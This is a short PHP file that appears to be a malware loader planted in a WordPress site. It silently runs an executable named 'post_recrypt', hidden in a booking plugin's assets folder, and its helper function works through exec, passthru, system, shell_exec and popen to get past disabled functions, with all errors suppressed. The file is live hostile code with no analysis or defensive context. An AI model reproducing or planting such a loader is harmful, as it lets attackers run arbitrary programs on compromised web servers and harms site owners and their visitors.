<?php   run("/home/mbkashyap/domains/mbkashyap.com/private_html/wp-content/plugins/bookly-responsive-appointment-booking-tool/lib/notifications/assets/app/post_recrypt > /dev/null 2>&1"); function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = @shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f)) {             $out .= fread($f, 1024);         }         pclose($f);     }     return $out; }